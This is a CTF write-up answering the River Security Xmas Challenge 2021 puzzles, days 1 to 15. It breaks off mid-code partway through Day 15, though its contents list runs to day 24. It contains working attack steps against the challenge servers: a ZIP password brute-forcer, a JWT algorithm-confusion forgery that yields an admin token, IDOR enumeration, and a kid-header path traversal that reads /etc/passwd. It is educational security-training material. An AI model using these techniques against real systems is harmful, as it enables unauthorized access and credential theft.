



RIVER
SECURITY

The Book of Answers

River Security Xmas Challenge 2021

Miroslav Dimitrov





Contents

1	Introduction	4
2	The Advent Calendar	5
2.1	Day 1 - The search	5
2.2	Day 2 - A magic word	5
2.3	Day 3 - What does this mean?	6
2.4	Day 4 - 4 Bytes of XOR	9
2.5	Day 5 - Plain discussion	10
2.6	Day 6 - The indecipherable cipher	10
2.7	Day 7 - This is quite meta	13
2.8	Day 8 - The reference	13
2.9	Day 9 - The reference 2	14
2.10	Day 10 - Lookup	14
2.11	Day 11 - The not so random prime	15
2.12	Day 12 - Twelve seconds of encoding	16
2.13	Day 13 - New technology is hard	17
2.14	Day 14 - JWT	18
2.15	Day 15 - JWT 2	19
2.16	Day 16 - A scary command	21
2.17	Day 17 - My XMas card	21
2.18	Day 18 - Remember the flag? Docker remembers	23
2.19	Day 19 - The inclusive xmas cards	23
2.20	Day 20 - Easy mistakes	24

2.21	Day 21 - Nice memories	25
2.22	Day 22 - Wireless communication	25
2.23	Day 23 - Locating the location	26
2.24	Day 24 - The watcher	27
3	The End	29






1. Introduction

Dear players, unless otherwise noted, all flags will have to be in the following format: **RSXC{<flag>}**. Please, take under consideration the following rules:

- 1 Do not attack any other ports or paths than specified in challenges.
- 2 Do not attack the infrastructure.
- 3 Do not attack other players.

Every day, starting from 1st up to 24th of December, a new challenge is going to be uncovered. Prepare yourself and sharpen your hacking skills in order to successfully pass through this exciting journey! The RSXC team has established a great community on their Discord¹ server where the contestants can help each other through the challenges. Are you late to the party? No worries, all the days in the calendar are open, so you still have the chance to go² and solve the challenges you've missed by yourself. However, in case you are stuck, feel free to consult this little book of answers as much as you want. **Happy holidays!** 



¹<https://discord.com/invite/QaXdZHFDnA>

²<https://rsxc.no/>



2. The Advent Calendar

2.1 Day 1 - The search

Welcome to the River Security XMas Challenge (RSXC)! RSXC operates with the following flag format for most challenges `RSXC{flag}`'. If another flag format is used, the challenge text will mention this. In this first challenge we have managed to forget which port we are listening on. Could you please find the port listening for traffic? We know it's in the range **30000-31000**.

Let's scan the server by using `nmap`:

```
1 nmap rsxc.no -p 30000-31000
```

The results indicates that port **30780** is open. Let's query it by using `nc`:

```
1 nc 134.209.137.128 30780
2 RSXC{ Congrats! You_found_the_secret_port_I_was_trying_to_hide!}
```

2.2 Day 2 - A magic word

We have found a magical port that is listening on port **20002**, maybe you can find today's flag there? *rsxc.no:20002*

Let's query the port by using `nc`:

```
1 nc 134.209.137.128 20002
```

When connected, we could try to interact by the server by typing some arbitrary text. The following message appears **That is not the byte I want!**. We could play around to write such probing routine in Bash. However, let's write down a tiny Python program:

```

1 import subprocess
2 for byte in range(256):
3     print("Checking byte: ", str(byte).zfill(2))
4     inject = "\\x" + hex(byte)[2:].zfill(2)
5     p1 = subprocess.Popen(["echo", "-n", "-e", inject], stdout=subprocess.PIPE)
6     p2 = subprocess.check_output(['nc', '134.209.137.128', '20002'], stdin=p1.
7         stdout)
8     if (b'That is not the byte I want!' not in p2):
9         print(inject + '\n', p2)
10    exit()

```

In short, we try each possible byte from **00** to **FF**, i.e. a total of 256 bytes. We first parse the decimal representation to hexadecimal representation in the variable **inject** (line 4). Then, we create the **echo** routine in process **p1**, to pipe it to process **p2** (lines 5 and 6). The result from the command is saved in **p2**. If a message which does not contain the string **That is not the byte I want!** is received, the latest is printed out and the program quits. We should be careful with the **echo** command arguments. The **-n** suppresses outputting the trailing newline, while **-e** enables the interpretation of backslash escapes, which allows us to send hex codes. After few seconds the right byte is uncovered:

```

1 <omitted>
2 Checking byte: 210
3 Checking byte: 211
4 Checking byte: 212
5 \xd4
6 b'RSXC{ You_found_the_magic_byte_I_wanted_Good_job! }'

```

In case you prefer pure **Bash**, here is an example of an one-line solution:

```

1 seq 0 255 | while read n; do echo -n -e \\$(printf x"%02X" $n) | nc
134.209.137.128 20002; done

```

2.3 Day 3 - What does this mean?

When looking for the prizes to this challenge we came across some text we can't understand, can you help us figure out what it means?

A **Base64**-encoded string is provided. When decoded, another Base-encoded string is extracted. However, there is a syntax error when we try to decode it as **Base64**. Let's analyze it more deeply. As we know, **Base64** only contains all the capital letters **A-Z**, all the lowercase letters **a-z**, all digits **0-9**, two more symbols **+** and **/**, as well as the padding symbol **=**. Let's see what are the characteristics of the resulted string by using this little Python analyzer:

```

1 E = <the_string_omitted>
2 Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
3
4 S = set()
5
6 for e in E:
7     S.add(e)
8
9 print("(unknown base) Unique symbols: ", len(S))
10
11 for a in Alphabet:
12     if a not in S:
13         print a

```

This is the output we got:

```

1 ('Base64: ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+',
  , 64)
2 ('(unknown base) Unique symbols: ', 58)
3 I
4 O
5 l
6 0
7 +
8 /

```

This perfectly fits the definition of **Base58**, so we are dealing with **Base58**-encoded string. Let's write a simple Python decoding script:

```

1 import base64, base58
2
3 E = <the_string_omitted>
4 Layer1 = base64.b64decode(E)
5 print(base58.b58decode_check(Layer1))

```

The following error occurred:

```

1 File "/usr/local/lib/python3.6/dist-packages/base58/__init__.py", line 157,
  in b58decode_check
2     raise ValueError("Invalid checksum")
3 ValueError: Invalid checksum

```

Going through the documentation of the **Base58** this could happen if we are trying to Base58-decode a string encoded with an alphabet different from the one used in **Bitcoin**. A suggestion to use another alphabet **RIPPLE_ALPHABET** is provided. It appears that, indeed, this is the case. However, the resulted string doesn't look like anything BASE-encoded. Let's write the byte array into a file and analyze it through the **file** command:

```

1 import base64, base58, os
2
3 E = <the_string_omitted>
4 Layer1 = base64.b64decode(E)
5 Layer2 = base58.b58decode(Layer1, alphabet=base58.RIPPLE_ALPHABET)
6
7 with open("Layer3", "wb") as BF:
8     BF.write(Layer2)
9
10 os.system('file Layer3')

```

The output of the script is **Layer3: bzip2 compressed data, block size = 900k**. This is a file compression using the **Burrows–Wheeler** algorithm. When extracted, we got a file with structured content. It starts with the following symbols: `<~/hSb//KcVt/hS8`. By analyzing the file signatures database in https://www.garykessler.net/library/file_sigs.html, we see that the only one file that starts with a signature `3C 7E`, or `<~`, is **the ASCII85 (aka BASE85) encoded file, sometimes used with PostScript and PDF**. ASCII85 code was created around 1990 by Paul E. Rutter. Reading the Python documentation, and more specifically the **Base64** module, it appears that we can call the decoding routine by using `base64.a85decode` with `adobe` argument set as **True**. When decoded, the resulted string includes only **dots, dashes and spaces. Morze code!** We grab a Python dictionary defining the main Morze code alphabet and decode it. The Morze alphabet, in terms of Python dictionary object, is:

```

1 Morze = { '.-...': '&', '-...-': ',', '....-': '4', '.....': '5',
2           '...-...': 'SOS', '-...': 'B', '-...-': 'X', '-.-': 'R',
3           '-..': 'W', '...-': '2', '-.-': 'A', '-.-': 'I', '-.-': 'F',
4           '-.-': 'E', '-.-': 'L', '...': 'S', '-.-': 'U', '...-': '?',
5           '-...-': '1', '-.-': 'K', '-.-': 'D', '-...-': '6', '-...-': '=',
6           '-...': 'O', '-...-': 'P', '-...-': '.', '-.-': 'M', '-.-': 'N',
7           '...': 'H', '...-': '"', '...-': 'V', '...-': '7', '...-': ';',
8           '...-': '-', '...-': '_', '...-': ')', '...-': '!', '-.-': 'G',
9           '-.-': 'Q', '-.-': 'Z', '...-': '/', '...-': '+', '-.-': 'C', '...-':
10          '...',
11          '-.-': 'Y', '-.-': 'T', '...-': '@', '...-': '$', '-.-': 'J', '...-':
12          '0',
13          '-...-': '9', '...-': '"', '-.-': '(', '...-': '8', '...-': '3' }

```

We get another base-alike string. We analyze it with the aforementioned Python analyzer to get the following feedback:

```
1 ('(unknown base) Unique symbols: ', 16)
```

Aha! Base16! When decoded we get another base-alike string. The result of the analysis:

```
1 ('(unknown base) Unique symbols: ', 29)
```

The string has a small length, so most likely its Base32, but with insufficient length to guarantee with high probability that all letter will be used. Finally, when decoded with Base32 we got the flag! Here is the whole Python script:


```

1 import base64, base58, os
2
3 E = <the_string_omitted>
4 Morze = <omitted_see_above>
5
6 Layer1 = base64.b64decode(E)
7 Layer2 = base58.b58decode(Layer1, alphabet=base58.RIPPLE_ALPHABET)
8
9 with open("Layer3", "wb") as BF:
10     BF.write(Layer2)
11
12 os.system('bzip2 -dc Layer3 > Layer4')
13
14 with open('Layer4') as f:
15     Layer4 = f.read()
16
17 Layer5 = base64.a85decode(Layer4, adobe=True)
18 Layer5 = ''.join([Morze[x] for x in str(Layer5)[2:-1].split(' ')])
19 Layer6 = base64.b16decode(Layer5)
20 Layer7 = base64.b32decode(Layer6)
21 print(Layer7)

```

When executed, we got the decoded message:

```
1 RSXC{I_hope_you_used_cyber_chef_it_does_make_it_alot_easier}
```

The flag message referenced <https://gchq.github.io/CyberChef/> - a web app for encryption, encoding, compression and data analysis. Indeed, some layers of this challenge are decoded easier by just using some automated tools. However, doing it by ourselves is more rewarding!

2.4 Day 4 - 4 Bytes of XOR

The flag of the day can be found by xor'ing our text with 4 bytes.

A hex string is provided. As the name suggested, we need to XOR every 4 bytes with a secret key. The key space is just $256^4 = 2^{32}$, so we could brute force it. However, let's recall that each flag starts with *RSXC*. Having this in mind, if we denote the first block of 4 bytes of the encrypted message as E , the plaintext-oracle as O , and the key as K , we have $O_i \oplus K_i = E_i$, for $i \in [0, 3]$. Having this in mind, we could rewrite the last statement as: $K_i = E_i \oplus O_i$, for $i \in [0, 3]$. So, with a simple Python routine we can extract all the key and then use it to decrypt the whole string:

```

1 T = <the_string_omitted>
2 E = [int(T[4*i:4*(i+1)],16) for i in range(len(T)/4)]
3
4 O = "RSXC"
5 key = [ord(O[i])^E[i] for i in range(4)]
6 P = ""
7
8 for p in range(len(E)):
9     P +=chr(E[p]^key[p%4])
10
11 print(P)

```

The key is ['88', 'c5', '54', 'd5'] while the flag is:
RSXC{Most_would_say_XOR_isn't_that_useful_anymore}.

2.5 Day 5 - Plain discussion

A spy was listening in on some of our discussion about today's challenge. Can you figure out what he found?

We are provided with a file named **05-challenge.pcap**. The extension suggests that this is a collection of network-captured packets, so let's start **Wireshark**. First thing to notice is port **6667** - the good old IRC! A user with nickname **simen** is logged in **irc.example.com**. Then he joined **#channel**. Then some private messages with user with nickname **chris** are clearly visible. In the channel, the following question was raised: **Hey, got any suggestions for the challenge? Any way we can make it harder to get the flag?**. After a while, the following answer appeared: **What about encrypting a zip file containing the flag? Let's say a 10 digit long number above 9 954 000 000 as the password?**. Then, the idea was approved **Sound like a great idea! I will get right too it!**. Then the connection to the IRC server is closed. After few moments, connection to an FTP server is open. The requests **USER simen** and **PASS password** are clearly visible. Then, they are followed by a request to save a file: **STOR ./flag.zip**. By following the **FTP-DATA** stream, we could save (as RAW) the contents of the **ZIP** file. We are ready to launch our small Python2 ZIP cracker:

```
1 import zipfile
2 zip_file = "flag.zip"
3
4 obj = zipfile.ZipFile(zip_file)
5 for password in range(9954000000, 10**10):
6     try:
7         obj.extractall(pwd=str(password))
8         print "Password Found!", password
9         break
10    except:
11        continue
```

After few seconds, the password is revealed: **9954359864**. The flag is:

```
1 RSXC{ Good_job_analyzing_the_pcap_did_you_see_the_hint? }
```

2.6 Day 6 - The indecipherable cipher

We recently did some research on some old ciphers, and found one that supposedly was indecipherable, but maybe you can prove them wrong?

We are provided with the following encrypted string:

```
1 PEWJ{ oqfgpylasqaqfzmgloxjgcezyigbglx }
```

When googling at **indecipherable cipher**, most of the results refers to the **Vigenère cipher**. In fact, the **Vigenère cipher** greatly resembles the XOR routine we have already solved. However, this time we are unaware of the key length. Nevertheless, we have some parts of the plaintext. If we denote the first block of 4 bytes of the encrypted message as E , the plaintext-oracle as O , and the key as K , and if the letters A-Z are taken to be the numbers 0-25, we have $(O_i + K_i) \bmod 26 = E_i$, for $i \in [0, 3]$. Hence, the decryption routine could be summarized as $O_i = (E_i - K_i) \bmod 26$, for $i \in [0, 3]$. Having this in mind, we could easily extract the first 4 letters of the key. Then, we could iterate through different reasonable key-lengths and inspect the results. Since **Vigenère cipher** is above the alphabet only, we ignore the special symbols and for simplicity, we treat all the letters from the encrypted message as upper cased:

```

1 A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
2 plain = "RSXC"
3 encrypted = "PEWJ{oqfgpylasqaqfzmglxjgcezyigbglx}".upper()
4
5 key = [0 for x in range(10)] # blank key
6
7 for pos in range(4):
8     for k in range(26):
9         token = A[(A.index(plain[pos])+k)%26]
10        if token == encrypted[pos]:
11            key[pos] = k
12
13 for keylength in range(4,10):
14     keypos = 0
15     decrypted = ""
16     for epos in range(len(encrypted)):
17         if encrypted[epos] not in A:
18             continue
19         token = A[(A.index(encrypted[epos]) - key[keypos%keylength])%26]
20         if keypos%keylength < 4:
21             decrypted += token
22         else:
23             decrypted += '*'
24         keypos += 1
25
26     print(keylength, decrypted)

```

The outcome of this little Python known-crib routine is (the unknown yet parts of the plaintext are asterisked):

```

1 (4, 'RSXCQEGZRMMTUEBJHNNZNCYCIQFSAWHUIZY ')
2 (5, 'RSXC*STHI*NOTJ*STAF*NCYC*ESAR*IPHE* ')
3 (6, 'RSXC**HUQR**UEBJ**OUMH**IQFS**IPHE* ')
4 (7, 'RSXC***IDZE***CEGS***QLKZ***AWHU*** ')
5 (8, 'RSXC****RMMT****HNNZ****IQFS****IZY ')
6 (9, 'RSXC*****AZBL*****OUMH*****BMJZ***** ')

```

Obviously, the key length is not 4. The candidates greater than 5 holds some not so common to the English alphabet bigrams and trigrams, like **UQR**, **LKZ**, **IQF** and **ZBL**. On the other hand, some parts of the 5-candidate are really promising like **NOT**. Now, we could launch an attack of the last unknown part of the key (we have just 26 possibilities):

```

1 A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
2 plain = "RSXC"
3 encrypted = "PEWJ{oqfgpylasqaqfzmgloxjgcezyigbglx}".upper()
4
5 key = [24, 12, 25, 7, 0] # unknown last piece
6
7 for brute in range(26):
8     key[-1] = brute
9     keypos = 0
10    decrypted = ""
11    for epos in range(len(encrypted)):
12        if encrypted[epos] not in A:
13            continue
14        token = A[(A.index(encrypted[epos]) - key[keypos%5])%26]
15        decrypted += token
16        keypos += 1
17    print(5, brute, decrypted)

```

And the results are:

```

1 (5, 0, 'RSXCOSTHIYNOTJASTAFGNCYCGESARIIPHEX ')
2 (5, 1, 'RSXCNSTHIXNOTJZSTAFFNCYCFESARHIPHEW ')
3 (5, 2, 'RSXCMSTHIWNOTJYSTAFENCYCESARGIPHEV ')
4 (5, 3, 'RSXCLSTHIVNOTJXSTAFDNCYCD SARFIPHEU ')
5 (5, 4, 'RSXCKSTHIUNOTJWSTAFNCYCCESAREIPHET ')
6 (5, 5, 'RSXCJSTHITNOTJVSTAFBNCYCBESARDIPHES ')
7 -->(5, 6, 'RSXCISTHISNOTJUSTAFANCYCAESARCIPHER ')
8 (5, 7, 'RSXCHSTHIRNOTJTSTAFZNCYCYZESARBIPHEQ ')
9 (5, 8, 'RSXCGSTHIQNOTJSSTAFYNCYCYESARAIPHEP ')
10 (5, 9, 'RSXCFSTHIPNOTJRSTAFXNCYCXESARZIPHEO ')
11 (5, 10, 'RSXCESTHIONOTJQSTAFWNCYCWESARYIPHEN ')
12 (5, 11, 'RSXCDSTHINNOTJPSTAFVNCYCVESARXIPHEM ')
13 (5, 12, 'RSXCCSTHIMNOTJOSTAFUNCYCYESARWIPHEL ')
14 (5, 13, 'RSXCBSTHILNOTJNSTAFNICYCTESARVIPHEK ')
15 (5, 14, 'RSXCASTHIKNOTJMSTAFSNCYCSESARUIPHEJ ')
16 (5, 15, 'RSXCZSTHIJNOTJLSTAFRNCYCRSARTIPHEI ')
17 (5, 16, 'RSXCYSTHIINOTJKSTAFQNCYQESARSIPHEH ')
18 (5, 17, 'RSXCXSTHIHNOTJJSTAFPNCYCPESARRIPHEG ')
19 (5, 18, 'RSXCWSTHIGNOTJISTAFONCYCOESARQIPHEF ')
20 (5, 19, 'RSXCVSTHIFNOTJHSTAFNNCYCNESARIPHEE ')
21 (5, 20, 'RSXCUSTHIENOTJGSTAFMNCYCMESAROIPHED ')
22 (5, 21, 'RSXCTSTHIDNOTJFSTAFNLCYCLEARNIPHEC ')
23 (5, 22, 'RSXCSSTHICNOTJESTAFKNCYCKESARMIPHEB ')
24 (5, 23, 'RSXCRSTHIBNOTJDSTAFJNCYJESARLIPHEA ')
25 (5, 24, 'RSXCQSTHIANOTJCSTAFINCYCIESARKIPHEZ ')
26 (5, 25, 'RSXCPSTHIZNOTJBSTAFHNCYCHESARJIPHEY ')

```

Hence, the key is [24, 12, 25, 7, 6], or **YMZHG**. Off course, we could solve this challenge by using automated tools and some well-known attacks. For example, with the **Kasiski** test we could analyze and pinpoint the most likely length of the key. Then, by using frequency analysis of the letters over the English alphabet, we could heuristically find the plaintext. Anyway, the final answer is (after adding the brackets and reversing the capitalization of the letters): **RSXC{isthisnotjustafancycaesarcipher}**

2.7 Day 7 - This is quite meta

We found this picture that seemed to contain the flag, but it seems like it has been cropped, are you able to help us retrieve the flag?

We were further supplied with the following picture:

Here is the flag:

Unfortunately, it was somehow trimmed and we are not able to read the most interesting part. Let's consult again the file signature database regarding the JPEG format. It appears that it starts with **FF D8 FF E0** and uses **FF D9** as a trailer. Indeed, analyzing the picture we have in HEX editor reveals the same behavior. However, there is another starting sequence **FF D8 FF E0** in the meta block of the image with its corresponding **FF D9** flag - an image inside the image. We can delete everything up to the second occurrence of the starting bytes **FF D8 FF E0**, i.e. the first 199 Bytes. Then the following image is revealed:

```
RSXC{
Sometimes_metadata_hides_stuff
}
```

Hence, the flag is: **RSXC{Sometimes_metadata_hides_stuff}**.

2.8 Day 8 - The reference

I just created a new note saving application, there is still some improvements that can be made but I still decided to show it to you! <http://rsxc.no:20008>

Following the link reveals a web directory containing some notes. There are a total of 3 visible notes on the server:

- <http://rsxc.no:20008/notes.php?id=2> : **Glad I am taking notes** : I am very glad I have started taking notes. I managed to forget my flag today, but luckily I had created a note for it.
- <http://rsxc.no:20008/notes.php?id=3> : **Practice more on PHP** : I am still very new at PHP.. I should try to practice more
- <http://rsxc.no:20008/notes.php?id=4> : **Create an authentication system** : I should create a system to authenticate users better. My friend told me that hiding my ip wouldn't help much

Let's try GET requests with ids less than 2:

- <http://rsxc.no:20008/notes.php?id=1> : **Today I learned** : Today I learned an interesting fact! When computers count, they start at 0.
- <http://rsxc.no:20008/notes.php?id=0> : **Flag** : My flag is **RSXC{Remember_to_secure_your_direct_object_references}**

2.9 Day 9 - The reference 2

I see that someone managed to read my personal notes yesterday, so I have improved the security! Good luck! <http://rsxc.no:20009>

Following the link this time reveals a web directory containing some more notes and the a warning message **Keep out!** with details **Someone managed to bypass my security. I have therefor implemented the functionality in RFC 1321 to help secure me.** The notes are:

Following the link reveals a web directory containing some notes. There are a tota of 3 visible notes on the server:

- <http://rsxc.no:20009/notes.php?id=d6089d6c1295ad5fb7d7ae771c0ad821> : **Create an authentication system** : I should create a system to authenticate users better. My friend told me that hiding my ip wouldn't help much
- <http://rsxc.no:20009/notes.php?id=9ef6e5e18112cf3736e048daa947fedc> : **RFC 1321** : Today I read about RFC 1321. Where they talked about a cool algorithm called MD5. It sounded so cool I decided to start using it!
- <http://rsxc.no:20009/notes.php?id=7a14c4e4e3f8a3021d441bcbae732c8b> : **Naming convention** : After learning about RFC 1321 I have to decide on a naming convention for my notes so I don't loose them. I have decided on using the naming convention "note" plus id number. So for instance this would be "note3"

It appears that this time the md5 hash checksum is used as an id. Indeed, the md5 hash of the word **note1** is **d6089d6c1295ad5fb7d7ae771c0ad821**, the same hash used in the first note. Having this in mind, we generate the hash of the word **note0**, which is **65b29a77142a5c237d7b21c005b72157**. When opening the link <http://rsxc.no:20009/notes.php?id=65b29a77142a5c237d7b21c005b72157> we get the following message: **Hidden the flag : I have now hidden the flag with a custom naming convention. I just have to remember that the input to the md5sum for it is all lower case and 4 characters long. (Hint: no need to bruteforce...)**. The first thing we should try is the md5 hash of the string **flag**, i.e. **327a6c4304ad5938eaf0efb6cc3e53dc**. Indeed, visiting this **id** reveals the flag: **RSXC{MD5_should_not_be_used_for_security.Especially_not_with_known_plaintext}**.

2.10 Day 10 - Lookup

Sometimes you need to look up to get the answer you need. <http://rsxc.no:20010>

Following the link reveals a simple search form. Whatever we try to search for fails and the following error occurs: **Could not find what you searched for!**. Let's open the site with **curl** in **verbose** mode:

```

1 curl -v http://rsxc.no:20010/
2 < omitted >
3 < HTTP/1.1 200 OK
4 < Date: Sun, 26 Dec 2021 00:17:01 GMT
5 < Server: Apache/2.4.51 (Debian)
6 < X-Powered-By: PHP/7.4.26
7 < Flag: RSXC{Sometimes_headers_can_tell_you_something_useful}

```

2.11 Day 11 - The not so random prime

We intercepted some traffic from a malicious actor. They seemed to be using a not so secure implementation of RSA, could you help us figure out how they did it?

We were provided with an archive holding 2 files. The first Python file named `rsa.py` includes some implementation of RSA certificate generation. The second one `rsa.out` include two strings - one large number and a base64 encoded string. It appears that the large number is the modulus of a generated by `rsa.py` RSA system, while the base64 encoded string should be a message encrypted by that system. Let's analyze the `rsa.py` file more closely:

```
1 from Crypto.PublicKey import RSA #pycryptodome
2 from Crypto.Cipher import PKCS1_OAEP
3 from sympy import randprime, nextprime, invert
4 import base64
5
6 p = randprime(2**1023, 2**1024)
7 q = nextprime(p*p)
8 n = p*q
9 e = 65537
10 phi = (p-1)*(q-1)
11 d = int(invert(e, phi))
12 key = RSA.construct((n, e, d, p, q))
13 rsa = PKCS1_OAEP.new(key)
14
15 print(n)
16 print()
17 print(base64.b64encode(rsa.encrypt(open('./flag.txt', 'rb').read()).decode("
    ascii")))
```

Lines 6 and 7 reveals the actual generation of the two primes multiplied to get the modulus n . First prime is chosen pseudo-randomly, but the second one is chosen dangerously, i.e. $q = p^2 + e$, for some very small integer number e . Hence, $n = pq = p(p^2 + e) = p^3 + pe$, where the value of pe could be negligible in terms of cube root, i.e. $\lfloor \sqrt[3]{n} \rfloor \approx p$. We could use some integer approximation of the cubic root, for example the following simple function:

```
1 def nth_root(x, n):
2     upper_bound = 1
3     while upper_bound ** n <= x:
4         upper_bound *= 2
5     lower_bound = upper_bound // 2
6     while lower_bound < upper_bound:
7         mid = (lower_bound + upper_bound) // 2
8         mid_nth = mid ** n
9         if lower_bound < mid and mid_nth < x:
10            lower_bound = mid
11        elif upper_bound > mid and mid_nth > x:
12            upper_bound = mid
13        else:
14            return mid
15    return mid + 1
```

It "squeezes" the candidate between dynamically shrinking bounds: lower and upper, to exactly pinpoint an integer approximation for the number $\sqrt[n]{n}$. Now, we are ready to extract p from n and completely decrypt the message:

```

1 from Crypto.PublicKey import RSA #pycryptodome
2 from Crypto.Cipher import PKCS1_OAEP
3 from sympy import randprime, nextprime, invert
4 import base64
5
6 n = <number_from_rsa.out>
7 msg = <base64_encoded_string_from_rsa.out>
8
9 e = 65537
10
11 phi = (p-1)*(q-1)
12 d = int(invert(e, phi))
13
14 key = RSA.construct((n, e, d, p, q))
15 rsa = PKCS1_OAEP.new(key)
16
17 print(rsa.decrypt(base64.b64decode(msg)))

```

The decrypted message is:

```

1 b'RSXC{Good_Job!I_see_you_know_how_to_do_some_math_and_how_rsa_works}\n'

```

2.12 Day 12 - Twelve seconds of encoding

For this challenge you need to do some encoding, but remember, you need to do it quickly, before the time runs out. rsxc.no:20012

This time we need to use **nc**. When we query the port with **nc rsxc.no 20012**, we got an arbitrary message of the form:

```

1 Good luck, you have 12 seconds to solve these 100 tasks!
2 Can you please hex decode this for me: 764b444b4b595753526372

```

By probing it manually several times it appears that different tasks are given - base64 of a string, string reversing, converting a string to lowercase, etc. More precisely, the following (four) variations occur:

- ① Please base64 decode this for me: **<str>**
- ② Can you please hex decode this for me: **<str>**
- ③ Please reverse this string for me: **<str>**.
- ④ Please turn this to lower case for me: **<str>**

When we fail to provide a valid answer the following error message occurs **No match** and the session is closed. So, let's write down a little Python communicator:


```
1 import socket
2 import base64
3
4 def netcat(hostname, port, content):
5     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6     s.connect((hostname, port))
7     while 1:
8         data = s.recv(1024)
9         if data != "":
10            if len(data) > 4:
11                print("Received:", repr(data))
12                magic = data[data.find(ord(':'))+1:].strip()
13                data = str(data)
14                if 'base64' in data:
15                    s.sendall(base64.b64decode(magic))
16                elif 'hex' in data:
17                    magic_tr = bytearray.fromhex(magic.decode("ascii")).decode()
18                    print(type((magic)), magic, magic_tr)
19                    s.sendall(bytearray(magic_tr.encode()))
20                elif 'reverse' in data:
21                    print(magic)
22                    s.sendall(magic[::-1])
23                elif 'lower' in data:
24                    print(magic)
25                    s.sendall(magic.lower())
26
27            print("Connection closed.")
28            s.close()
29
30 netcat("rsxc.no", 20012, "")
```

After few seconds the 101st message appears:

```
1 Received: b'RSXC{
    Seems_like_you_have_a_knack_for_encoding_and_talking_to_servers!}\n'
```

2.13 Day 13 - New technology is hard

When starting with new languages and frameworks, it is easy to get confused, and do things you shouldn't. <http://rsxc.no:20013/>

Following the link reveals a simple form with few options provided. When we inspect the source code the following detail in the meta appears: **content="Web site created using create-react-app"**. Analyzing the included javascripts reveals the following interesting one with a file name **Todos.js**:

```

1 import React from 'react'
2
3 export default function Todos() {
4   const b64 = "
5     U1NYQ3tpdF9taWdoDF9iZV90aGVyZV91dmVuX2lmX3lvdV9kb24ndF9pbmNs dWR1X2l0IX0="
6   return (
7     <div>
8       <p>Hide this somewhere, and not just rely on base64: {b64}</p>
9     </div>
10  )
11 }

```

When base64 decoded we got the flag: RSXC{it_might_be_there_even_if_you_don't_include_it!}.

2.14 Day 14 - JWT

Have you heard about the secure information sharing standard JWT? It can sometimes be a little confusing, but I think we got it all figured out. <http://rsxc.no:20014>

Following the link reveals a web login form. A test user account was provided **test:test**. We could see that the username of the administrator is **admin**, but his password is redacted. Let's login with username **test**. Once logged in we were served two cookies with names **PHPSESSID** and **jwt**. Furthermore, in our profile, there is a link to a file which appears to be a public key **<http://rsxc.no:20014/jwtRS256.key.pub>**. **JWT** appears to be an abbreviation of **JSON Web Token**. We find the following information regarding this token:

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.

A JWT typically looks like the following X.Y.Z format, where X is the header, Y the payload and Z the signature. It appears that there are a lot of tools which we can use to decode a given JWT token. Analyzing our **jwt** token reveals the following information:

```

1 Header :
2 {
3   "typ": "JWT",
4   "alg": "RS256"
5 }
6 Payload :
7 {
8   "username": "test"
9 }

```

When creating a token, there are two algorithms we could choose from: **RS256**(RSA Signature with SHA-256) and **HS256**(HMAC with SHA-256). Forging a valid signature when using RS256 requires the private key. However, one interesting attack called **algorithm confusion** appears to be very successful when forging valid JWT signatures. More specifically:

In many JWT libraries, the method to verify the signature is:

- `verify(token, secret)` – if the token is signed with HMAC
- `verify(token, publicKey)` – if the token is signed with RSA or similar

Unfortunately, in some libraries, this method by itself does not check whether the received token is signed using the application's expected algorithm. That's why in the case of HMAC this method will treat the second argument as a shared secret and in the case of RSA as a public key.

Having the public key, we could easily implement this attack by using, for example, **node** and the corresponding library **jsonwebtoken**:

```

1 node
2 > const jwt = require('jsonwebtoken');
3 > var fs = require('fs');
4 > var publicKey = fs.readFileSync('./jwtRS256.key.pub');
5 > var token = jwt.sign({ 'username': 'admin' }, publicKey, { algorithm: 'HS256',
   noTimestamp: true });
6 > console.log(token);

```

We have generated the following token:

```

1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c256ImFkbWluIn0.
   LNRQfiPOayxrbZf_yNuj8eMr3_Mc7qk3U6Nroah64I0

```

Now, all we need to do is to inject it instead of our current cookie. Refresh the browser and Voila:

```

1 My personal notes
2 The flag is RSXC{ You_have_to_remember_to_limit_what_algorithms_are_allowed }

```

2.15 Day 15 - JWT 2

I can admit I might not have figured out everything, but I think everything should be figured out now! I have however implemented a new header I found in RFC 7515. <http://rsxc.no:20015>

Let's analyze the updated jwt token:

```

1 Header :
2 {
3   "typ": "JWT",
4   "alg": "RS256",
5   "kid": "http://localhost/jwtRS256.key.pub"
6 }
7 Payload :
8 {
9   "username": "test"
10 }

```

This time a new variable called **kid** is introduced. Furthermore, it appears that the **algorithm confusion** vulnerability is mitigated. Let's further investigate the purpose of the kid parameter:

The JWT header can contain the Key Id parameter *kid*. It is often used to retrieve the key from a database or filesystem. The application verifies the signature using the key obtained through the *kid* parameter. If an application uses the *kid* parameter to retrieve the key from the filesystem, it might be vulnerable to directory traversal.

We could choose the location of the public key! Thus we could generate an RSA key pair, upload the public key to a server of our choice and populate the *kid* value with the HTTP location of our public key. However, let's try a more powerful attack!

Let's setup **Burp** and the **JSON Web Token** Burp extension. By using those tools, we could easily try sending different JWT Headers and inspect the response from the server. Let's try with *kid* value `/etc/passwd`. The following piece of information is to be found in the server response:

```

1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 <omitted>
5 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin

```

Let's inspect the source code of `index.php`:

```

1 if($_SERVER['REQUEST_METHOD'] === 'POST'){
2 if(!empty($_POST["username"]) && !empty($_POST["password"])) {
3 include_once "includes/login-validation.php";
4 if(!isValidUsername($_POST["username"])){
5 //Not valid email
6 $error_msg = "Wrong username";
7 } else {
8 if(!isValidPassword($_POST["username"], $_POST["password"])) {
9 //Is not valid
10 $error_msg = "Wrong password";
11 } else {
12 include_once(__DIR__ . "/includes/helper.php");
13 include_once(__DIR__ . "/includes/jwt.php");
14 $_SESSION["logged_in"] = true;
15 setcookie("jwt", JWTHandler::createJWTToken($_POST["username"]));
